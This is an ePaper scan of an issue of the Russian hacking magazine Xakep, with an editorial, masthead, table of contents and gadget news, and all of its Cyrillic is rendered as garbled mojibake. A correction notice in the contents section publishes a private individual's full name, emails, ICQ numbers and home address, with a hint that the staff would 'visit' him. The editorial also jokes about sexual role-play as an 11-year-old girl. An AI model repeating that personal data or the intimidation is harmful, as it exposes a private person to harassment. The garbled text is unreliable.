01.01.2015 Views

¦þ¹ ¼³¾Šł

¦þ¹ ¼³¾Šł

¦þ¹ ¼³¾Šł

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Æ Ó Ð Í À Ë Î Ò Ê Î Ì Ï Ü Þ Ò Å Ð Í Û Õ Õ Ó Ë È Ã À Í Î Â<br />

ver 05.03 (53)<br />

W W W . X À Ê Å Ð . R U<br />

Äåëî–<br />

òðóáà<br />

Ïàðà ñëîâ<br />

î âçëîìå<br />

ìîáèëüíèêîâ<br />

Ïàðàëëåëüíûé ìèð<br />

Âçëîì ñåòåé õ25<br />

Ïàðîëü<br />

«Ðûáà-Shit»<br />

Ðåàëüíûå<br />

èñòîðèè<br />

íàøóìåâøèõ<br />

âçëîìîâ<br />

VoIP<br />

ÈÇÍÓÒÐÈ<br />

Õàêåðû<br />

è ÔÁÐ<br />

Íà÷àëî<br />

ïðîòèâîñòîÿíèÿ<br />

New!<br />

Îáçîð ñâåæèõ<br />

ýêñïëîèòîâ<br />

MUST READ<br />

äëÿ<br />

àäìèíîâ<br />

ÎÐÓÆÈÅ ÁÓÄÓÙÅÃÎ<br />

Spam Message System


×òî òû îòâå÷àåøü, êîãäà òåáå ãîâîðÿò "Õðèñòîñ âîñêðåñ"<br />

Ëè÷íî ÿ òåðÿþñü è áîðìî÷ó ÷òî-òî òèïà "Âîçìîæíî… íå<br />

óâåðåí…". Ñðàçó âñïîìèíàåòñÿ àíåêäîò ïðî Ïàñõó 2030<br />

ãîäà, ãäå äâà ïîïà ïðèâåòñòâóþò äðóã äðóãà: "Àëëàõ<br />

Àêáàð!" - "Âîèñòèíó Àêáàð!". Íó ïî÷åìó, ïî÷åìó ó íàñ òàê<br />

ëþáÿò âñÿêèå âíåøíèå ïðîÿâëåíèÿ ðåëèãèîçíîñòè, ïðè÷åì íà òå æå<br />

äåñÿòü çàïîâåäåé, íàïðèìåð, âåñü íàðîä êëàäåò ñ áîëüøèì<br />

ïðèáîðîì! Òû ìíîãî çíàåøü ëþäåé, êîòîðûå æèâóò ïî õðèñòèàíñêèì<br />

çàâåòàì ß - íè îäíîãî. Çàòî åñëè ãäå-íèáóäü â îáùåñòâåííîì ìåñòå<br />

ëÿïíóòü: "ß àòåèñò, â Áîãà íå âåðþ", íà òåáÿ âñå ïîñìîòðÿò êàê íà<br />

áîëüíîãî àòèïè÷íîé ïíåâìîíèåé. Áëèí, åñëè ÷óâàê ñìîòðèò íî÷íûå<br />

òåëåñåðèàëû ïîä íàçâàíèåì "Êðåñòíûé õîä", ïðàçäíóåò Ðîæäåñòâî è<br />

Ïàñõó, ïûòàåòñÿ (ïóñòü è áåçóñïåøíî) ñîáëþäàòü ïîñò - îí õðèñòèàíèí.<br />

 öåðêîâü ïðè ýòîì õîäèòü íå îáÿçàòåëüíî (ýòîãî æå íèêòî íå îöåíèò),<br />

êðåñò íîñèòü òîæå (íó ðàçâå ÷òî ó íåãî ïîëóêèëîãðàììîâàÿ "ãîëäà"), î<br />

"ïðàâåäíîì" îáðàçå æèçíè ðå÷ü âîîáùå íå èäåò. Âîò ó íàñ âñå òàê -<br />

ñïëîøíîå ëèöåìåðèå. È ýòè ëþäè ïîòîì áóäóò ãîâîðèòü, ÷òî ìû,<br />

èíåòðíåò÷èêè, æèâåì â ïðèäóìàííîì ìèðå. Äà, äåéñòâèòåëüíî, ýòî<br />

ñâîáîäíûé ìèð, îòêðûòûé äëÿ ëþáîé ôîðìû ñàìîðåàëèçàöèè. Õî÷åøü,<br />

çàíèìàéñÿ ñåêñîì â îáëè÷üå 11-ëåòíåé äåâî÷êè-ìàçîõèñòêè, õî÷åøü,<br />

ãðîõíè ñåðâàê íåíàâèñòíîãî ïðîâàéäåðà. Òâîðè, âîðóé, îòêðîé ñâîé<br />

áèçíåñ - êîðî÷å, âîçìîæíîñòè íå îãðàíè÷åíû. Íî, ïî êðàéíåé ìåðå, ìû<br />

íå îáìàíûâàåì ñàìè ñåáÿ. Íå çîìáèðóåì ñåáÿ ïðîïàãàíäîé, êàê ýòî<br />

äåëàþò ìíîãèå "òèïà âåðóþùèå".<br />

Íàçâàëñÿ õðèñòèàíèíîì - æèâè, êàê çàïîâåäîâàë òâîé Áîã. Èëè íå<br />

äîñòàâàé äðóãèõ ñâîèìè õðèñòîñâîñêðåñàìè. Èíà÷å â îòâåò áóäåøü<br />

ñëûøàòü "Âîèñòèíó Àêáàð!"<br />

Àëåêñàíäð '2poisonS' Ñèäîðîâñêèé<br />

ãëàâðåä Õ<br />

INTRO<br />

+ÁÐÀÒÑÊÀß ÌÎÃÈËÀ+<br />

/ÐÅÄÀÊÖÈß<br />

>Ãëàâíûé ðåäàêòîð<br />

Àëåêñàíäð «2poisonS»<br />

Ñèäîðîâñêèé<br />

(2poisonS@real.xakep.ru)<br />

>Ðåäàêòîðû ðóáðèê<br />

ÂÇËÎÌ<br />

Èâàí «CuTTer» Ïåòðîâ<br />

(cutter@real.xakep.ru)<br />

PC_ZONE<br />

Ìèõàèë «M.J.Ash» Æèãóëèí<br />

(m.j.ash@real.xakep.ru)<br />

UNIXOID<br />

Àðòåì «Cordex» Íàãîðñêèé<br />

(cordex@real.xakep.ru)<br />

>Ðåäàêòîð CD<br />

Íèêîëàé «AvaLANche» ×åðåïàíîâ<br />

(avalanche@real.xakep.ru)<br />

>Ëèòåðàòóðíûé ðåäàêòîð<br />

Ìàðèÿ Àëüäóáàåâà<br />

(litred@real.xakep.ru)<br />

/ART<br />

>Àðò-äèðåêòîð<br />

Êèðèëë Ïåòðîâ «KROt»<br />

(kerel@real.xakep.ru)<br />

Äèçàéí, âåðñòêà, ôîòîñüåìêà,<br />

ïðåäïå÷àòíàÿ ïîäãîòîâêà:<br />

Äèçàéí-ñòóäèÿ «100%ÊÏÄ »<br />

>Äèçàéíåðû<br />

Àëèê Âàéíåð «Jmurik»<br />

(alik@real.xakep.ru)<br />

/INET<br />

>WebBoss<br />

Ñêâîðöîâà Àëåíà<br />

(Alyona@real.xakep.ru)<br />

>Ðåäàêòîð ñàéòà<br />

Ëåîíèä Áîãîëþáîâ<br />

(xa@real.xakep.ru)<br />

/PR<br />

>PR ìåíåäæåð<br />

Ãóáàðü ßíà<br />

(yana@gameland.ru)<br />

/ÐÅÊËÀÌÀ<br />

>Ðóêîâîäèòåëü îòäåëà<br />

Èãîðü Ïèñêóíîâ<br />

(igor@gameland.ru)<br />

>Ìåíåäæåðû îòäåëà<br />

Áàñîâà Îëüãà<br />

(olga@gameland.ru)<br />

Êðûìîâà Âèêòîðèÿ<br />

(vika@gameland.ru)<br />

Åìåëüÿíöåâà Îëüãà<br />

(olgaeml@gameland.ru)<br />

Ðóáèí Áîðèñ<br />

(rubin@gameland.ru)<br />

òåë.: (095) 935.70.34<br />

ôàêñ: (095) 924.96.94<br />

/PUBLISHING<br />

>Èçäàòåëü<br />

Ñåðãåé Ïîêðîâñêèé<br />

(pokrovsky@gameland.ru)<br />

>Ó÷ðåäèòåëü<br />

ÎÎÎ «Ãåéì Ëýíä»<br />

>Äèðåêòîð<br />

Äìèòðèé Àãàðóíîâ<br />

(dmitri@gameland.ru)<br />

>Ôèíàíñîâûé äèðåêòîð<br />

Áîðèñ Ñêâîðöîâ<br />

(boris@gameland.ru)<br />

/ÎÏÒÎÂÀß ÏÐÎÄÀÆÀ<br />

>Ðóêîâîäèòåëü îòäåëà<br />

Âëàäèìèð Ñìèðíîâ<br />

(vladimir@gameland.ru)<br />

>Ìåíåäæåðû îòäåëà<br />

Àíäðåé Ñòåïàíîâ<br />

(andrey@gameland.ru)<br />

Ñàìâåë Àíòàøÿí<br />

(samvel@gameland.ru)<br />

òåë.: (095) 935.70.34<br />

ôàêñ: (095) 924.96.94<br />

>Òåõíè÷åñêèé äèðåêòîð<br />

Ñåðãåé Ëÿíãå<br />

(serge@gameland.ru)<br />

/ÄËß ÏÈÑÅÌ<br />

101000, Ìîñêâà,<br />

Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð<br />

magazine@real.xakep.ru<br />

http://www.xakep.ru<br />

Çàðåãèñòðèðîâàíî<br />

â Ìèíèñòåðñòâå Ðîññèéñêîé<br />

Ôåäåðàöèè<br />

ïî äåëàì ïå÷àòè,<br />

òåëåðàäèîâåùàíèþ<br />

è ñðåäñòâàì ìàññîâûõ<br />

êîììóíèêàöèé<br />

ÏÈ ¹ 77-11802<br />

îò 14 ôåâðàëÿ 2002 ã.<br />

Îòïå÷àòàíî â òèïîãðàôèè<br />

«ScanWeb», Ôèíëÿíäèÿ<br />

Òèðàæ 75 000 ýêçåìïëÿðîâ.<br />

Öåíà äîãîâîðíàÿ.<br />

Ìíåíèå ðåäàêöèè<br />

íå îáÿçàòåëüíî ñîâïàäàåò<br />

ñ ìíåíèåì àâòîðîâ.<br />

Ðåäàêöèÿ óâåäîìëÿåò:<br />

âñå ìàòåðèàëû â íîìåðå<br />

ïðåäîñòàâëÿþòñÿ êàê<br />

èíôîðìàöèÿ ê<br />

ðàçìûøëåíèþ. Ëèöà,<br />

èñïîëüçóþùèå äàííóþ<br />

èíôîðìàöèþ<br />

â ïðîòèâîçàêîííûõ öåëÿõ,<br />

ìîãóò áûòü ïðèâëå÷åíû<br />

ê îòâåòñòâåííîñòè.<br />

Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ<br />

îòâåòñòâåííîñòè íå íåñåò.<br />

Ðåäàêöèÿ íå íåñåò<br />

îòâåòñòâåííîñòè<br />

çà ñîäåðæàíèå ðåêëàìíûõ<br />

îáúÿâëåíèé â íîìåðå.<br />

Çà ïåðåïå÷àòêó íàøèõ<br />

ìàòåðèàëîâ áåç ñïðîñà -<br />

ïðåñëåäóåì.<br />

Íà îáëîæêå èñïîëüçîâàí: Pelican Pulse Cannon Light Gun äëÿ PlayStation 2


04/HiTech News<br />

08/HardNews<br />

44/×óìà XXI âåêà<br />

48/Ñìåðòåëüíàÿ ëîãèêà<br />

Èìïëàíò<br />

12/362,5 êóáè÷åñêèõ ñàíòèìåòðà ïàìÿòè<br />

20/Êîìïüþòåð áåç ãèìîðà<br />

22/Upgrade<br />

24/Îêíî â öèôðó<br />

28/Íàêîïèòåëè ôàéëîâ<br />

32/Spam Message System<br />

36/Øïèîíñêèå èãðû Ïåíãî<br />

38/Õðàíèòåëè ïàðîëåé<br />

42/Õàêåðû è ÔÁÐ<br />

Íüþñû<br />

Ôåððóì<br />

Inside<br />

52/X-News<br />

54/Hack-FAQ<br />

56/Ïàðîëü "Ðûáà-Shit"<br />

60/Äåëî - òðóáà<br />

66/Çàùèòà Java-àïïëåòîâ<br />

70/Ïðàëëåëüíûé ìèð: âçëîì ñåòåé x25<br />

74/VoIP èçíóòðè<br />

78/Ðîóòåðû: áîëüøèå è î÷åíü áîëüøèå<br />

81/Îáçîð ýêñïëîèòîâ<br />

PC_Zone<br />

Âçëîì<br />

82/Çàïàäëî â Linux<br />

84/Delphi äëÿ ïàðàíîèêà: ñâîé PGP çà 5 ìèíóò<br />

86/Âõîäèò, âûõîäèò...: Ðàáîòàåì ñ COM ïîðòîì<br />

88/Bannerbank çà 24 ÷àñà<br />

Þíèêñîèä<br />

 ïðåäûäóùåì íîìåðå â ñòàòüå<br />

«Ettercap: çëîáîäðîì â òâîåé ëîêàëêå»<br />

áûë íåâåðíî óêàçàí àâòîð. Ìû<br />

ïðèíîñèì ñâîè èçâèíåíèÿ íàñòîÿùåìó<br />

àâòîðó ñòàòüè Àíäðåþ Ñîêîëîâó<br />

(daedalus@inbox.ru). Âñÿ÷åñêèé<br />

ðåñïåêò è greetz! Ìàòåðèàë ó íåãî<br />

ïîäðåçàë íåêòî CoDeR. Âîò ðåàëüíûå<br />

äàííûå íà ýòîãî îòìîðîçêà:<br />

Àëîòèí Ìèõàèë Àðêàäüåâè÷<br />

ìûëüíèê: coder@zzae.biz, paroli@bk.ru<br />

icq: 416116, 500069<br />

àäðåñ: 628240, Òþìåíñêàÿ îáëàñòü,<br />

ãîðîä Ñîâåòñêèé, óëèöà Ãàñòåëëî 41,<br />

êâ 25.<br />

Æàëêî, ìû äàëåêî îò Òþìåíñêîé<br />

îáëàñòè, à òî áû íàâåñòèëè ãîðîä<br />

Ñîâåòñêèé, óëèöó Ãàñòåëëî… Âñåé<br />

ðåäàêöèåé…<br />

Tips&Tricks<br />

Âåäóùèé ðóáðèêè Tips&Tricks Èâàí<br />

Ñêëÿðîâ (Sklyarov@real.xakep.ru).<br />

Ïðèñûëàé ìíå ñâîè òðþêè è ñîâåòû è,<br />

âîçìîæíî, òû óâèäèøü èõ íà ñòðàíèöàõ<br />

][. Â êîíöå ãîäà ñàìûé àêòèâíûé<br />

ó÷àñòíèê ïîëó÷èò 100$. Êó÷ó èíòåðåñíûõ<br />

ñîâåòîâ, íå âîøåäøèõ â æóðíàë, ñìîòðè<br />

íà íàøåì ñàéòå http://www.xakep.ru.<br />

Ðåäàêöèÿ æóðíàëà è âåäóùèé ðóáðèêè íå<br />

íåñóò îòâåòñòâåííîñòè çà ñîâåòû,<br />

êîòîðûå ÷èòàòåëè äàþò äðóã äðóãó ;).<br />

90/Çàë ñóäà<br />

94/ØàðîWAREZ<br />

98/WWW<br />

100/FAQ<br />

104/¸-mail<br />

106/Õóìîð<br />

110/X-Puzzle<br />

112/Áîðäà<br />

Êîäèíã<br />

Þíèòû


HiTech_News<br />

Àëåêñ Öåëûõ (News@real.xakep.ru)<br />

ÃÎÂÎÐßÙÀß ÑÒÈÐÀËÊÀ<br />

"×ÅËÞÑÒÈ"<br />

Êîìïàíèÿ Olympus ïðåäñòàâèëà ñòåðåîî÷êè äëÿ òåõ, êòî äðîæèò ïåðåä äàíòèñòîì.<br />

Dental-Eye-Trek ïîçâîëÿþò ïåðåíåñòèñü èç íåíàâèñòíîãî êðåñëà ñòîìàòîëîãà â êèíîòåàòð ñî<br />

ñòåðåîçâóêîì. Æóòêèå èíñòðóìåíòû è äóøåðàçäèðàþùèå çâóêè áîðìàøèíû îñòàþòñÿ "çà<br />

êàäðîì". Òàêîå îùóùåíèå, ÷òî ñìîòðèøü áëîêáàñòåð íà ïîëóòîðàìåòðîâîì êèíîýêðàíå. Ïðè<br />

ýòîì íè÷òî íå îãðàíè÷èâàåò ñâîáîäû äâèæåíèé ïàöèåíòà è âðà÷à. Âåñ î÷êîâ - âñåãî 95<br />

ãðàììîâ. Äàíòèñòû ðàññêàçûâàþò, ÷òî ïàöèåíòû íàñòîëüêî óâëåêàþòñÿ ôèëüìîì, ÷òî íàïðî÷ü<br />

çàáûâàþò, ãäå îíè íàõîäÿòñÿ, è ïîëíîñòüþ ðàññëàáëÿþòñÿ. Ãàäæåò ïîäêëþ÷àåòñÿ ê<br />

êîìïàêòíîé ìîäåëè DVD-ïëååðà îò Panasonic. Â ñòèëüíîì àëþìèíèåâîì ôóòëÿðå òàêæå<br />

ìîæíî íàéòè çàòû÷êè äëÿ óøåé (áåðóøè) è íåñêîëüêî ôèëüìîâ, ðåêîìåíäîâàííûõ ê ïîêàçó.<br />

Èíæåíåðû Speech Experts (www.speech-experts.com) íàó÷èëè ñòèðàëüíóþ ìàøèíó ðàçãîâàðèâàòü è ïîíèìàòü ãîëîñîâûå êîìàíäû. Ìîäèôèêàöèè ïîäâåðãëàñü ïîñëåäíÿÿ<br />

ìîäåëü ñòèðàëêè îò Siemens. Ïåðâûì äåëîì ìàøèíå äàëè èìÿ - Herbine. Ïîñëå ýòîãî åå íàäåëèëè ñëîâàðíûì çàïàñîì èç íåñêîëüêèõ ñîòåí íåìåöêèõ ñëîâ, âñòàâëÿåìûõ<br />

ê ìåñòó è íå ê ìåñòó. Íàïðèìåð, åñëè ÷åëîâåê âïåðâûå èìååò äåëî ñ ìàøèííîé ñòèðêîé, Herbine ïðèÿòíûì æåíñêèì ãîëîñîì îáúÿñíÿåò, êàê ïðàâèëüíî çàãðóçèòü<br />

áåëüå. Ñòèðàëêà ïîäñêàçûâàåò, êàêèå âåùè íå ñëåäóåò ñòèðàòü âìåñòå, è ðåêîìåíäóåò ñïîñîáû âûâåäåíèÿ íàèáîëåå ñëîæíûõ ïÿòåí, ê ïðèìåðó, îò æâà÷êè. Áîëåå òîãî,<br />

ïîëüçîâàòåëü ìîæåò ïîñîâåòîâàòüñÿ ñ ìàøèíîé. Herbine âíèìàòåëüíî âûñëóøàåò, êàêóþ îäåæäó íóæíî âûñòèðàòü, è ïîäñêàæåò îïòèìàëüíóþ ïðîãðàììó ñòèðêè. Áëàãîäàðÿ<br />

èíòåëëåêòóàëüíîé ñèñòåìå ðàñïîçíàâàíèÿ ðå÷è, ìàøèíà ïîíèìàåò ñëîæíûå ñîñòàâíûå êîìàíäû, íàïðèìåð: "Ïðåäâàðèòåëüíàÿ ñòèðêà, çàòåì ñòèðêà ïðè òåìïåðàòóðå<br />

95 ãðàäóñîâ, íà÷àòü ÷åðåç ïîë÷àñà, ïðîèçâåñòè îòæèì". Êðîìå òîãî, Herbine ëþáèò ôëèðòîâàòü è îáëàäàåò íåçàóðÿäíûì ÷óâñòâîì þìîðà. Åñëè ñêàçàòü åé, ÷òî íà îäåæäå<br />

ïÿòíî îò êðàñíîãî âèíà, îíà ïîñîâåòóåò â ñëåäóþùèé ðàç ïèòü ïèâî - ïÿòíà îò íåãî ëåã÷å âûâîäèòü.  áëèæàéøåå âðåìÿ ñëîâàðíûé çàïàñ Herbine âûðàñòåò äî 4 òûñÿ÷<br />

ñëîâ íà ðàçíûõ ÿçûêàõ. Íîâóþ ìîäåëü ìîæíî áóäåò ïîäêëþ÷àòü ê èíòåðíåòó äëÿ àïãðåéäîâ.  îòêðûòîé ïðîäàæå Herbine ïîÿâèòñÿ â 2004 ãîäó.<br />

×ÀÑÛ-ÒÐÀÍÑÔÎÐÌÅÐ<br />

Seiko è NTT DoCoMo ïðåäñòàâèëè íàðó÷íûå ÷àñû-òðàíñôîðìåð ñî âñòðîåííîé ìîáèëîé. ×òîáû<br />

âîñïîëüçîâàòüñÿ ôóíêöèåé òåëåôîíà, "íàðó÷íèêè" íåîáõîäèìî ðàçëîæèòü. Ïîëó÷àåòñÿ ïîäîáèå<br />

òðóáêè: íà îäíîì êîíöå áðàñëåòà íàõîäèòñÿ ìèêðîôîí, íà äðóãîì - ìèíèàòþðíûé äèíàìèê. Âñå<br />

êíîïêè, â òîì ÷èñëå êëàâèøà íàâèãàöèè, âûíåñåíû íà áðàñëåò. Wristomoto ðàáîòàåò â ñòàíäàðòå<br />

PHS, êîòîðûé ðàñïðîñòðàíåí èñêëþ÷èòåëüíî â ßïîíèè è Þãî-âîñòî÷íîé Àçèè. Ñåðâèñ i-mode ïîçâîëÿåò<br />

ïîëó÷àòü è îòïðàâëÿòü ýëåêòðîííóþ ïî÷òó íà ñêîðîñòè 64 Êáèò/ñ. Ïîääåðæèâàåòñÿ ñèíõðîíèçàöèÿ<br />

ñ Microsoft Outlook. Wristomoto çàêëþ÷åíû â ñòèëüíûé âîäîíåïðîíèöàåìûé êîðïóñ. Çàðÿäà àêêóìóëÿòîðà<br />

õâàòàåò íà 2 ÷àñà íåïðåðûâíîãî ðàçãîâîðà. Ãàáàðèòû óñòðîéñòâà â ðàçëîæåííîì âèäå -<br />

171,5x40,4x18,5 ìì. Âåñ ñ áàòàðååé - 113 ãðàììîâ. Ðîçíè÷íàÿ öåíà ñîñòàâëÿåò 420 äîëëàðîâ.<br />

ÒÐÓÏÏÀ ÐÎÁÎÒÎÂ<br />

ßïîíñêàÿ êîðïîðàöèÿ Seiko Epson ïðåäñòàâèëà ìèíèàòþðíîãî ðîáîòà Monsieur II-P. ×åðòàìè<br />

ëèöà ðîáîò îòäàëåííî íàïîìèíàåò Ïèêà÷ó. Æèçíåðàäîñòíîå ñîçäàíèå óìåùàåòñÿ íà ÷åëîâå÷åñêîé<br />

ëàäîíè è âåñèò âñåãî 12,5 ãðàììîâ. Òðåòü ìàññû ïðèõîäèòñÿ íà êðîøå÷íûå öèíêîâûå<br />

áàòàðåè, îáåñïå÷èâàþùèå àêòèâíîñòü ðîáîòà â òå÷åíèå ïÿòè ÷àñîâ. Monsieur II-P ïîñòîÿííî<br />

íàõîäèòñÿ â äâèæåíèè. Áëàãîäàðÿ óëüòðàçâóêîâîìó ìîòîð÷èêó 0,4 ìì â äèàìåòðå -<br />

ñîáñòâåííàÿ ðàçðàáîòêà êîìïàíèè - îí ñïîñîáåí ðàçâèâàòü ñêîðîñòü äî 15 ñì/ñ. À âñòðîåííûé<br />

ìîäóëü Bluetooth ïîçâîëÿåò íåñêîëüêèì ðîáîòàì âçàèìîäåéñòâîâàòü äðóã ñ äðóãîì. Âî<br />

âðåìÿ èìïðîâèçèðîâàííîãî òåàòðàëüíîãî øîó íà âûñòàâêå Robodex 2003 òðóïïà Monsier II-P<br />

ñîâåðøàëà ñèíõðîííûå òàíöåâàëüíûå äâèæåíèÿ, ÷åì ïîêîðèëà ñåðäöà çðèòåëåé.<br />

ÐÎÁÎÒ-ÑÌÎÒÐÈÒÅËÜ<br />

Êîìïàíèÿ Fujitsu ïðåäñòàâèëà ðîáîòà, êîòîðûé óìååò ïîëüçîâàòüñÿ áûòîâîé òåõíèêîé.<br />

Maron-1 - ýòî ãëàçàñòûé "êàññîâûé àïïàðàò" â ñêàôàíäðå. Ðîñòîì 36 ñì ïðè âåñå 5,5 êã<br />

ðîáîò åäâà äîòÿãèâàåò ÷åëîâåêó äî êîëåí. Îäíàêî ýòî íå ìåøàåò åìó âåëèêîëåïíî<br />

÷óâñòâîâàòü ñåáÿ â ÷åòûðåõ ñòåíàõ. Ðîáîò ïåðåìåùàåòñÿ ïî äîìó íà êîëåñàõ, ïðåîäîëåâàÿ<br />

ïîðîãè è ìåëêèå íåðîâíîñòè ïîëà. "Ãëàçàìè" ñëóæàò ìèíèàòþðíûå âèäåîêàìåðû. Êîìàíäû<br />

õîçÿèíà ðîáîò ïðèíèìàåò íà âñòðîåííûé ìîáèëüíûé òåëåôîí. Èíôðàêðàñíûé ïåðåäàò÷èê<br />

âûïîëíÿåò ôóíêöèè ïóëüòà äèñòàíöèîííîãî óïðàâëåíèÿ. Maron-1 ñ ëåãêîñòüþ<br />

îòûùåò âèäåîìàãíèòîôîí â ãîñòèíîé è ïåðåìîòàåò ïëåíêó íà íà÷àëî. Åñëè ïîòðåáóåòñÿ,<br />

âêëþ÷èò ýëåêòðîîáîãðåâàòåëü è îòðåãóëèðóåò êîíäèöèîíåð. Äàò÷èêè ðàññòîÿíèÿ è äâèæåíèÿ<br />

ïîçâîëÿþò åìó âåñòè ïðèñòàëüíîå íàáëþäåíèå çà äîìîì. Çàñòèãíóâ íåïðîøåíîãî<br />

ãîñòÿ, ðîáîò ñâÿæåòñÿ ïî òåëåôîíó ñ õîçÿèíîì è ïîäàñò ïðåäóïðåäèòåëüíûé çâóêîâîé<br />

ñèãíàë. Çàðÿäà àêêóìóëÿòîðîâ õâàòàåò íà 12 ÷àñîâ ðàáîòû. Maron-1 ôóíêöèîíèðóåò ïîä<br />

Windows CE. Ðîáîò ïðîñò â íàñòðîéêå è ëåãêî îáó÷àåòñÿ íîâûì êîìàíäàì.<br />

4 Íüþñû<br />

1<br />

Ôåððóì 2 Inside 3 PC_Zone 4<br />

Âçëîì


ÌÓÇÛÊÀËÜÍÛÉ ÂÈÁÐÀÒÎÐ<br />

AOC Corporation (www.audio-oh.com) ïðåäñòàâèëà ïåðâûé â ìèðå âèáðàòîð, ðàáîòàþùèé ïîä<br />

ìóçûêó. Íå â ïðèìåð îäíîîáðàçíûì äâèæåíèÿì òðàäèöèîííûõ âèáðàòîðîâ, Audio-Oh "÷óâñòâóåò"<br />

ðèòì ìåëîäèè è â òàêò åìó ñòèìóëèðóåò èíòèìíûå ìûøöû òåëà. Äåâàéñ ðåàãèðóåò êàê íà ôîíîâóþ<br />

ìóçûêó, òàê è íà ïðÿìîé àóäèîñèãíàë îò êîìïüþòåðà, CD- è mp3-ïëååðà, äîìàøíåé àóäèî- è<br />

âèäåîñèñòåìû. Âîçìîæíà íàñòðîéêà íà ãîëîñ ñîáåñåäíèêà. Ñ âèäó óñòðîéñòâî íè÷åì íå îòëè÷àåòñÿ<br />

îò ïåéäæåðà, ÷òî ïîçâîëÿåò íåçàìåòíî ïîëüçîâàòüñÿ èì íà äèñêîòåêå è â Áîëüøîì çàëå<br />

Êîíñåðâàòîðèè. Óñòðîéñòâî ïðîäàåòñÿ â èíòåðíåòå ïî öåíå 70 äîëëàðîâ.<br />

ÒÎËÜÊÎ ÁÅÇ ÐÓÊ<br />

Íà êîìïüþòåðíîé âûñòàâêå â ÿïîíñêîì Ñàïïîðî äåìîíñòðèðîâàëè ðàáî÷èé ïðîòîòèï "ìûøè",<br />

êîòîðóþ ñîâåðøåííî íå íóæíî áðàòü â ðóêè. Äåâàéñ ïðåäñòàâëÿåò ñîáîé íåáîëüøîé ìèêðîôîí<br />

íà ïîäñòàâêå. Ðåãóëèðóåìûé ïî âûñîòå, îí óñòàíàâëèâàåòñÿ ïåðåä ìîíèòîðîì íà óðîâíå ðòà<br />

ïîëüçîâàòåëÿ. Äëÿ ïåðåìåùåíèÿ êóðñîðà íóæíî ëåãîíüêî äóòü â òó èëè èíóþ ñòîðîíó. Íàïðàâëåíèå<br />

âûäûõàåìîãî âîçäóõà óëàâëèâàþò ÷åòûðå ñïåöèàëüíûå ñåíñîðíûå ìåìáðàíû. Êîìàíäû âûïîëíÿþòñÿ<br />

ïîùåëêèâàíèåì ÿçûêà. Íîâèíêà ïðåäíàçíà÷åíà â ïåðâóþ î÷åðåäü äëÿ èíâàëèäîâ.<br />

ÊÐÓÒÈ ÏÅÄÀËÈ<br />

Ãîëëàíäñêèå ñòóäåíòû, ÷ëåíû îðãàíèçàöèè W.S.V. Simon Stevin,<br />

ïîñòðîèëè àâòîáóñ ñ ïåäàëüíûì ïðèâîäîì. Íåîáû÷íîå òðàíñïîðòíîå<br />

ñðåäñòâî âìåùàåò 32 ïàññàæèðà, âîäèòåëÿ è øòóðìàíà. Íà ìåñòå<br />

êðåñåë ðàñïîëîæåíû âåëîñèïåäû, äðóæíîå âðàùåíèå ïåäàëåé êîòîðûõ<br />

ïðèâîäèò âåëîáàñ â äâèæåíèå. Êîíñòðóêöèÿ íå èìååò êðûøè è<br />

ðàçìåùàåòñÿ íà ãðóçîâîì øàññè. Òðàíñïîðòíîå ñðåäñòâî îáîðóäîâàíî<br />

12-ñêîðîñòíîé ñèñòåìîé ïåðåêëþ÷åíèÿ ïåðåäà÷. Äëèíà âåëîñèïåäíîé<br />

öåïè - áîëåå 80 ìåòðîâ. Ïåðâóþ âûëàçêó áûëî ðåøåíî<br />

ïðåäïðèíÿòü íà ïèâîâàðåííûé çàâîä. Ïîä óëþëþêàíüå ñòóäåí÷åñêîé<br />

áðàòèè âåëîáàñ ðàçâèë ñêîðîñòü 20 êì/÷.<br />

ÓÄÀËÅÍÍÀß ÊÎÐÌÅÆÊÀ<br />

ßïîíñêàÿ êîìïàíèÿ AlphaOmega Soft ïðåäñòàâèëà óäàëåííóþ<br />

êîðìóøêó äëÿ äîìàøíèõ ïèòîìöåâ. iSeePet (www.iseepet.com)<br />

íàïðÿìóþ ïîäêëþ÷àåòñÿ ê èíòåðíåòó, ÷òî îáåñïå÷èâàåò äîñòóï<br />

èçâíå ÷åðåç ñòàíäàðòíûé áðàóçåð èëè ñîòîâûé òåëåôîí. Ïîñëå<br />

îáÿçàòåëüíîé àâòîðèçàöèè õîçÿèíà âñòðîåííàÿ öâåòíàÿ êàìåðà<br />

íà÷èíàåò ïåðåäàâàòü êàðòèíêó ñ ìåñòà ñîáûòèé. Êîãäà íàæàòà<br />

ïåðâàÿ êíîïêà, äåâàéñ òðóáèò "ãèìí êîðìåæêå". Ñðàáàòûâàåò æèâîòíûé<br />

ðåôëåêñ, è âîò ãîëîäíàÿ ïñèíà óæå ïðèòàíöîâûâàåò ïåðåä<br />

îáúåêòèâîì. Äâå äðóãèå êíîïêè âûïëåâûâàþò â ìèñêó ïîðöèþ<br />

ñóõîãî êîðìà èç êîíòåéíåðà íà âûáîð. Äëÿ êîðìåæêè ìîãóò<br />

áûòü èñïîëüçîâàíû "ïîäóøå÷êè" îò 5 äî 7 ìì â äèàìåòðå. Åìêîñòü<br />

êàæäîãî êîíòåéíåðà - 600 ãðàììîâ. Ñáîêó ðàñïîëàãàåòñÿ<br />

åìêîñòü ñ ïèòüåâîé âîäîé. Äåâàéñ âûïîëíåí â ñòèëüíîì êîðïóñå<br />

öâåòà ìåòàëëèê è ðàáîòàåò ïîä Ëèíóêñîì. iSeePet äîñòóïåí äëÿ<br />

ïðåäâàðèòåëüíîãî çàêàçà ïî çàïðåäåëüíîé öåíå 950 äîëëàðîâ.<br />

ÈÍÒÅËËÅÊÒÓÀËÜÍÛÉ ÄÎÌ ÎÒ LG...<br />

Êîìïàíèÿ LG Electronics ïðåäñòàâèëà íàáîð êîìïîíåíòîâ ñèñòåìû "óìíîãî äîìà". Ïîêà â íàáîð âõîäÿò õîëîäèëüíèê, ñòèðàëüíàÿ ìàøèíà, êîíäèöèîíåð è<br />

ìèêðîâîëíîâàÿ ïå÷ü. Åñòåñòâåííî, âñå îíè ïîäêëþ÷åíû ê èíòåðíåòó è ìîãóò óïðàâëÿòüñÿ äèñòàíöèîííî. Õîëîäèëüíèê ñêà÷àåò äëÿ òåáÿ ñ óòðà ñâåæóþ ïî÷òó è<br />

